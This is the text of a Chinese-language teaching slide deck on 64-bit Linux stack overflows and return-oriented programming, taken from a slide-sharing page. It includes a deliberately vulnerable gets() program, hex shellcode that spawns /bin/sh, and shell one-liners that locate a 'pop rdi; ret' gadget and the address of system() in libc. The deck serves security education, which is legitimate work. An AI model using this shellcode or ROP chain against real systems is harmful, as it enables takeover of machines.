[若渴計畫]64-bit Linux Return-Oriented Programming

64-bit Linux Return-
Oriented Programming
AJ
2014.4.10
Register Use in the Stack Frame for Intel
x86
• ESP - Stack Pointer
• 存放 stack最top的位置
• EBP - Base Pointer
• 在目前stack frame中,可透過EBP的加減來得到函數的參數和區域變數
• EIP - Instruction Pointer
• 當執行call 和 jump時, EIP值會改變. 而其意義為紀錄跳躍時下一個指令的
位置
• 在x86_64中,這些register為16 bytes
Calling a __cdecl Function
• push parameters of the function由右至左進堆疊
• 在call the function時,把EIP push至堆疊中
• 在跳入function中, save 和 update the ebp
• push ebp
• mov ebp,esp // ebp <= esp
• push local variable of the function
• 如果此function有使用到某register必須先把此register push進stack
• 開始執行function
• Restore saved registers
• Release local storage
• Restore the old base pointer
• Return from the function
• Clean up pushed parameters
Perform the Function
有漏洞的程式碼
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!n", name);
return 0;
}
介紹兩種攻擊手法
• Stack overflow
• Return-oriented programming (ROP)
執行到紅色箭頭時,stack的配置
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!n", name);
return 0;
}
EBP
EIP
char name[64]
低位址
高位址
有趣的Stack Overflow Attack
EBP
EIP
char name[64]
低位址
高位址
Shell code
填0
填 name位置
如何製作Shellcode
• 準備好想要執行的code
• 用gcc 編譯產出執行檔
• 用objdump 和sed 看想要執行的code, 用xxd擷取想要執行的code
想要執行的code system(“/bin/sh”)
label用處方便擷取(常用技巧)
字串指標放入stack(local variable)
執行到這得rdi會等於
指向”/bin/sh”的指標
label用處方便擷取
用objdump 和sed 擷取想要執行的code
• objdump -d a.out | sed -n '/needle0/,/needle1/p'
echo $((0x4dc-0x4bf))
= 29
用xxd擷取想要執行的code
• xxd -s0x4bf -l32 -p a.out shellcode
• cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead
此Stack Overflow Attack做法的問題
• stack必須是可執行的
• 所以ROP用來解決在stack不可執行的狀況下,也可以成功的攻擊.當
然ASLR和stack保護還是須disable
• 哭哭補充:
• 此攻擊法為code injection,換個角度想,如果code中他是不能被更改和複寫
的,就可以在此code找出gadget,然而更改存資料地方,然而影響到PC 跳到
gadget去執行, 也可稱code reuse attack.
• 還有關於這類的攻擊 ,還有 JOP/IOP(stackless)/BOP
• 對於IOP有github: stjj89
The ROP Concept
1. SP指向位置序列的開始的地方(stack存放位置序列),
並搭配RET.
2. 執行RET,使得 jump到SP所指的位置並SP減8
(RET的行為)
3. 開始執行某些指令之後, 遇到RET . repeat (2)(3)
•而step 3 在遇到RET之前的code與RET
稱為 gadget
…
EIP
char name[64] address
address
EBP
retpc->
準備好細節知識
• The gadget
• system(“/bin/sh”)
• 進入到shell中
• 執行systemcall 且 rdi = 指向”/bin/sh”字串的指標
Assemble code Machine code
pop %rdi 0x5f
ret 0xc3
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
進入shell
可預期活用
可在libc.so 找出很多gadgets,並且esp必須指到
一序列的gadget addresses,此gadget addresses可
存在buffer裡或者data section裡.
在libc.so 找上述gadget
• 為什麼在libc.so找?
• On Linux, our C main() function is executed by the cooperative
work of GCC, libc and Linux's binary loader
• http://linuxgazette.net/84/hawk.html
•如何找?
• gadget=0x$(xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -
n -B1 c3 | grep 5f -m1 | awk '{printf"%xn",$1-1}')
• 哭哭補充:
• 有研究上,透過新增compiler功能,其功能找出所以程式碼的
gadgets
libc’s system() function的位置
• 如何找?
• system=0x$(nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep
'<system>' | cut -f1 -d' ')
Linux Command
• nm - list symbols from object files
• cut - remove or "cut out" sections of each line of a file or
files
• xxd - make a hexdump or do the reverse
• sed - stream editor for filtering and transforming text
• objdump - display information from object files
Reference
• http://crypto.stanford.edu/~blynn/rop/
• http://en.wikipedia.org/wiki/X86_calling_conventions
• http://www.unixwiz.net/techtips/win32-callconv-asm.html
1 of 24

More Related Content

Viewers also liked(12)

[MOSUT] Format String Attacks[MOSUT] Format String Attacks
[MOSUT] Format String Attacks
Aj MaChInE2.6K views
[若渴計畫2015.8.18] SMACK[若渴計畫2015.8.18] SMACK
[若渴計畫2015.8.18] SMACK
Aj MaChInE1.2K views
Task based Programming with OmpSs and its ApplicationTask based Programming with OmpSs and its Application
Task based Programming with OmpSs and its Application
Facultad de Informática UCM1.7K views
CILK/CILK++ and ReducersCILK/CILK++ and Reducers
CILK/CILK++ and Reducers
Yunming Zhang1.3K views
Stack Frame ProtectionStack Frame Protection
Stack Frame Protection
Conferencias FIST508 views
The Stack FrameThe Stack Frame
The Stack Frame
Ivo Marinkov4.5K views
How Functions WorkHow Functions Work
How Functions Work
Saumil Shah27.1K views

Similar to [若渴計畫]64-bit Linux Return-Oriented Programming

Method call in RubyMethod call in Ruby
Method call in RubyHung Wu Lo
453 views22 slides
EcmascriptEcmascript
Ecmascriptjay li
7.5K views53 slides
Lab2在幹嘛Lab2在幹嘛
Lab2在幹嘛F74011297
615 views80 slides

Similar to [若渴計畫]64-bit Linux Return-Oriented Programming(17)

Method call in RubyMethod call in Ruby
Method call in Ruby
Hung Wu Lo453 views
EcmascriptEcmascript
Ecmascript
jay li7.5K views
Lab2在幹嘛Lab2在幹嘛
Lab2在幹嘛
F74011297615 views
Nio trick and trapNio trick and trap
Nio trick and trap
dennis zhuang9.9K views
ch13-pv1-system-callsch13-pv1-system-calls
ch13-pv1-system-calls
yushiang fu185 views
給初學者的Spark教學給初學者的Spark教學
給初學者的Spark教學
Chen-en Lu18.2K views
89S51電路板89S51電路板
89S51電路板
casiolike05311.9K views
從 REPL 到 IDE從 REPL 到 IDE
從 REPL 到 IDE
Justin Lin2.3K views
IOS入门分享IOS入门分享
IOS入门分享
zenyuhao934 views

[若渴計畫]64-bit Linux Return-Oriented Programming